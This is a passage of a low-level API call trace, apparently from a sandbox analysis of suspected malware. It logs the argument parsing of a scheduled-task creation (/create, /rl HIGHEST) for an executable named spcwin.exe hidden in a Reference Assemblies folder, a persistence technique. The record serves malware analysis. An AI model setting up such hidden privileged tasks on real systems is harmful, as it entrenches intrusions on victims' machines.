\x09", wMatch=0x6f) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x6b) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.986] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0129.986] GetLastError () returned 0x0 [0129.986] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.986] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.986] SetLastError (dwErrCode=0x0) [0129.987] SetLastError (dwErrCode=0x0) [0129.987] lstrlenW (lpString="/rl") returned 3 [0129.987] lstrlenW (lpString="-/") returned 2 [0129.987] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.987] lstrlenW (lpString="create") returned 6 [0129.987] lstrlenW (lpString="create") returned 6 [0129.987] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.987] lstrlenW (lpString="rl") returned 2 [0129.987] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.995] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|create|") returned 8 [0129.996] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0129.996] lstrlenW (lpString="|create|") returned 8 [0129.996] lstrlenW (lpString="|rl|") returned 4 [0129.996] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0129.996] SetLastError (dwErrCode=0x490) [0129.996] lstrlenW (lpString="?") returned 1 [0129.996] lstrlenW (lpString="?") returned 1 [0129.996] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.996] lstrlenW (lpString="rl") returned 2 [0129.996] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.996] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|?|") returned 3 [0129.996] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0129.996] lstrlenW (lpString="|?|") returned 3 [0129.996] lstrlenW (lpString="|rl|") returned 4 [0129.996] SetLastError (dwErrCode=0x490) [0129.996] lstrlenW (lpString="s") returned 1 [0129.996] lstrlenW (lpString="s") returned 1 [0129.996] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.996] lstrlenW (lpString="rl") returned 2 [0129.996] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.996] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|s|") returned 3 [0129.996] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0129.996] lstrlenW (lpString="|s|") returned 3 [0129.996] lstrlenW (lpString="|rl|") returned 4 [0129.996] SetLastError (dwErrCode=0x490) [0129.996] lstrlenW (lpString="u") returned 1 [0129.997] lstrlenW (lpString="u") returned 1 [0129.997] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.997] lstrlenW (lpString="rl") returned 2 [0129.997] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.997] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|u|") returned 3 [0129.997] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0129.997] lstrlenW (lpString="|u|") returned 3 [0129.997] lstrlenW (lpString="|rl|") returned 4 [0129.997] SetLastError (dwErrCode=0x490) [0129.997] lstrlenW (lpString="p") returned 1 [0129.997] lstrlenW (lpString="p") returned 1 [0129.997] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.997] lstrlenW (lpString="rl") returned 2 [0129.997] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.997] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|p|") returned 3 [0129.997] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0129.997] lstrlenW (lpString="|p|") returned 3 [0129.997] lstrlenW (lpString="|rl|") returned 4 [0129.997] SetLastError (dwErrCode=0x490) [0129.997] lstrlenW (lpString="ru") returned 2 [0129.997] lstrlenW (lpString="ru") returned 2 [0129.997] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.997] lstrlenW (lpString="rl") returned 2 [0129.997] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.997] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|ru|") returned 4 [0129.997] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0129.998] lstrlenW (lpString="|ru|") returned 4 [0129.998] lstrlenW (lpString="|rl|") returned 4 [0129.998] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0129.998] SetLastError (dwErrCode=0x490) [0129.998] lstrlenW (lpString="rp") returned 2 [0129.998] lstrlenW (lpString="rp") returned 2 [0129.998] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.998] lstrlenW (lpString="rl") returned 2 [0129.998] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.998] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rp|") returned 4 [0129.998] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0129.998] lstrlenW (lpString="|rp|") returned 4 [0129.998] lstrlenW (lpString="|rl|") returned 4 [0129.998] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0129.998] SetLastError (dwErrCode=0x490) [0129.998] lstrlenW (lpString="sc") returned 2 [0129.998] lstrlenW (lpString="sc") returned 2 [0129.998] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.998] lstrlenW (lpString="rl") returned 2 [0129.998] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.998] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|sc|") returned 4 [0129.998] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0129.998] lstrlenW (lpString="|sc|") returned 4 [0129.998] lstrlenW (lpString="|rl|") returned 4 [0129.998] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0129.998] SetLastError (dwErrCode=0x490) [0129.998] lstrlenW (lpString="mo") returned 2 [0129.999] lstrlenW (lpString="mo") returned 2 [0129.999] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.999] lstrlenW (lpString="rl") returned 2 [0129.999] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.999] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|mo|") returned 4 [0129.999] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0129.999] lstrlenW (lpString="|mo|") returned 4 [0129.999] lstrlenW (lpString="|rl|") returned 4 [0129.999] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0129.999] SetLastError (dwErrCode=0x490) [0129.999] lstrlenW (lpString="d") returned 1 [0129.999] lstrlenW (lpString="d") returned 1 [0129.999] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.999] lstrlenW (lpString="rl") returned 2 [0129.999] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.999] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|d|") returned 3 [0129.999] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0129.999] lstrlenW (lpString="|d|") returned 3 [0129.999] lstrlenW (lpString="|rl|") returned 4 [0129.999] SetLastError (dwErrCode=0x490) [0129.999] lstrlenW (lpString="m") returned 1 [0130.000] lstrlenW (lpString="m") returned 1 [0130.000] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.000] lstrlenW (lpString="rl") returned 2 [0130.000] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.000] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|m|") returned 3 [0130.000] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0130.000] lstrlenW (lpString="|m|") returned 3 [0130.000] lstrlenW (lpString="|rl|") returned 4 [0130.000] SetLastError (dwErrCode=0x490) [0130.000] lstrlenW (lpString="i") returned 1 [0130.000] lstrlenW (lpString="i") returned 1 [0130.000] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.000] lstrlenW (lpString="rl") returned 2 [0130.000] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.000] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|i|") returned 3 [0130.000] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0130.000] lstrlenW (lpString="|i|") returned 3 [0130.000] lstrlenW (lpString="|rl|") returned 4 [0130.000] SetLastError (dwErrCode=0x490) [0130.000] lstrlenW (lpString="tn") returned 2 [0130.000] lstrlenW (lpString="tn") returned 2 [0130.000] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.000] lstrlenW (lpString="rl") returned 2 [0130.000] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.000] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tn|") returned 4 [0130.001] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0130.001] lstrlenW (lpString="|tn|") returned 4 [0130.001] lstrlenW (lpString="|rl|") returned 4 [0130.001] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0130.001] SetLastError (dwErrCode=0x490) [0130.001] lstrlenW (lpString="tr") returned 2 [0130.001] lstrlenW (lpString="tr") returned 2 [0130.001] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.001] lstrlenW (lpString="rl") returned 2 [0130.001] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.001] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tr|") returned 4 [0130.001] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0130.001] lstrlenW (lpString="|tr|") returned 4 [0130.001] lstrlenW (lpString="|rl|") returned 4 [0130.001] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0130.001] SetLastError (dwErrCode=0x490) [0130.001] lstrlenW (lpString="st") returned 2 [0130.001] lstrlenW (lpString="st") returned 2 [0130.001] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.001] lstrlenW (lpString="rl") returned 2 [0130.001] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.001] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|st|") returned 4 [0130.001] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0130.001] lstrlenW (lpString="|st|") returned 4 [0130.001] lstrlenW (lpString="|rl|") returned 4 [0130.001] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0130.002] SetLastError (dwErrCode=0x490) [0130.002] lstrlenW (lpString="sd") returned 2 [0130.002] lstrlenW (lpString="sd") returned 2 [0130.002] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.002] lstrlenW (lpString="rl") returned 2 [0130.002] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.002] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|sd|") returned 4 [0130.002] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0130.002] lstrlenW (lpString="|sd|") returned 4 [0130.002] lstrlenW (lpString="|rl|") returned 4 [0130.002] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0130.002] SetLastError (dwErrCode=0x490) [0130.002] lstrlenW (lpString="ed") returned 2 [0130.002] lstrlenW (lpString="ed") returned 2 [0130.002] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.002] lstrlenW (lpString="rl") returned 2 [0130.002] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.002] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|ed|") returned 4 [0130.002] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0130.002] lstrlenW (lpString="|ed|") returned 4 [0130.002] lstrlenW (lpString="|rl|") returned 4 [0130.002] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0130.002] SetLastError (dwErrCode=0x490) [0130.002] lstrlenW (lpString="it") returned 2 [0130.002] lstrlenW (lpString="it") returned 2 [0130.002] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.003] lstrlenW (lpString="rl") returned 2 [0130.003] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.003] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|it|") returned 4 [0130.003] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0130.003] lstrlenW (lpString="|it|") returned 4 [0130.003] lstrlenW (lpString="|rl|") returned 4 [0130.003] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0130.003] SetLastError (dwErrCode=0x490) [0130.003] lstrlenW (lpString="et") returned 2 [0130.003] lstrlenW (lpString="et") returned 2 [0130.003] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.003] lstrlenW (lpString="rl") returned 2 [0130.003] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.003] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|et|") returned 4 [0130.003] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0130.003] lstrlenW (lpString="|et|") returned 4 [0130.003] lstrlenW (lpString="|rl|") returned 4 [0130.003] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0130.003] SetLastError (dwErrCode=0x490) [0130.003] lstrlenW (lpString="k") returned 1 [0130.003] lstrlenW (lpString="k") returned 1 [0130.003] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.003] lstrlenW (lpString="rl") returned 2 [0130.003] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.003] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|k|") returned 3 [0130.003] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0130.004] lstrlenW (lpString="|k|") returned 3 [0130.004] lstrlenW (lpString="|rl|") returned 4 [0130.004] SetLastError (dwErrCode=0x490) [0130.004] lstrlenW (lpString="du") returned 2 [0130.004] lstrlenW (lpString="du") returned 2 [0130.004] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.004] lstrlenW (lpString="rl") returned 2 [0130.004] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.004] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|du|") returned 4 [0130.004] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0130.004] lstrlenW (lpString="|du|") returned 4 [0130.004] lstrlenW (lpString="|rl|") returned 4 [0130.004] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0130.004] SetLastError (dwErrCode=0x490) [0130.004] lstrlenW (lpString="ri") returned 2 [0130.004] lstrlenW (lpString="ri") returned 2 [0130.004] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.004] lstrlenW (lpString="rl") returned 2 [0130.004] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.004] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|ri|") returned 4 [0130.004] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0130.004] lstrlenW (lpString="|ri|") returned 4 [0130.004] lstrlenW (lpString="|rl|") returned 4 [0130.004] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0130.004] SetLastError (dwErrCode=0x490) [0130.004] lstrlenW (lpString="z") returned 1 [0130.004] lstrlenW (lpString="z") returned 1 [0130.005] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.005] lstrlenW (lpString="rl") returned 2 [0130.005] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.005] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|z|") returned 3 [0130.005] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0130.005] lstrlenW (lpString="|z|") returned 3 [0130.005] lstrlenW (lpString="|rl|") returned 4 [0130.005] SetLastError (dwErrCode=0x490) [0130.005] lstrlenW (lpString="f") returned 1 [0130.005] lstrlenW (lpString="f") returned 1 [0130.005] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.005] lstrlenW (lpString="rl") returned 2 [0130.005] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.005] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.005] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0130.005] lstrlenW (lpString="|f|") returned 3 [0130.005] lstrlenW (lpString="|rl|") returned 4 [0130.005] SetLastError (dwErrCode=0x490) [0130.005] lstrlenW (lpString="v1") returned 2 [0130.005] lstrlenW (lpString="v1") returned 2 [0130.005] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.005] lstrlenW (lpString="rl") returned 2 [0130.005] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.005] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|v1|") returned 4 [0130.005] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0130.006] lstrlenW (lpString="|v1|") returned 4 [0130.006] lstrlenW (lpString="|rl|") returned 4 [0130.006] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0130.006] SetLastError (dwErrCode=0x490) [0130.006] lstrlenW (lpString="xml") returned 3 [0130.006] lstrlenW (lpString="xml") returned 3 [0130.006] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.006] lstrlenW (lpString="rl") returned 2 [0130.006] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.006] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|xml|") returned 5 [0130.006] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0130.006] lstrlenW (lpString="|xml|") returned 5 [0130.006] lstrlenW (lpString="|rl|") returned 4 [0130.006] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0130.006] SetLastError (dwErrCode=0x490) [0130.006] lstrlenW (lpString="ec") returned 2 [0130.006] lstrlenW (lpString="ec") returned 2 [0130.006] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.006] lstrlenW (lpString="rl") returned 2 [0130.006] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.006] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|ec|") returned 4 [0130.006] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0130.006] lstrlenW (lpString="|ec|") returned 4 [0130.006] lstrlenW (lpString="|rl|") returned 4 [0130.006] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0130.006] SetLastError (dwErrCode=0x490) [0130.006] lstrlenW (lpString="rl") returned 2 [0130.006] lstrlenW (lpString="rl") returned 2 [0130.007] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.007] lstrlenW (lpString="rl") returned 2 [0130.007] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.007] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0130.007] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rl|") returned 4 [0130.007] lstrlenW (lpString="|rl|") returned 4 [0130.007] lstrlenW (lpString="|rl|") returned 4 [0130.007] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0130.007] SetLastError (dwErrCode=0x0) [0130.007] SetLastError (dwErrCode=0x0) [0130.007] lstrlenW (lpString="HIGHEST") returned 7 [0130.007] lstrlenW (lpString="-/") returned 2 [0130.007] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0130.007] SetLastError (dwErrCode=0x490) [0130.007] SetLastError (dwErrCode=0x490) [0130.007] SetLastError (dwErrCode=0x0) [0130.007] lstrlenW (lpString="HIGHEST") returned 7 [0130.007] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0130.007] SetLastError (dwErrCode=0x490) [0130.007] SetLastError (dwErrCode=0x0) [0130.007] _memicmp (_Buf1=0x26d550, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.007] lstrlenW (lpString="HIGHEST") returned 7 [0130.007] lstrlenW (lpString="HIGHEST") returned 7 [0130.007] lstrlenW (lpString=" \x09") returned 2 [0130.007] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0130.007] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0130.007] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0130.007] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0130.008] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0130.008] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0130.008] StrChrW (lpStart=" \x09", 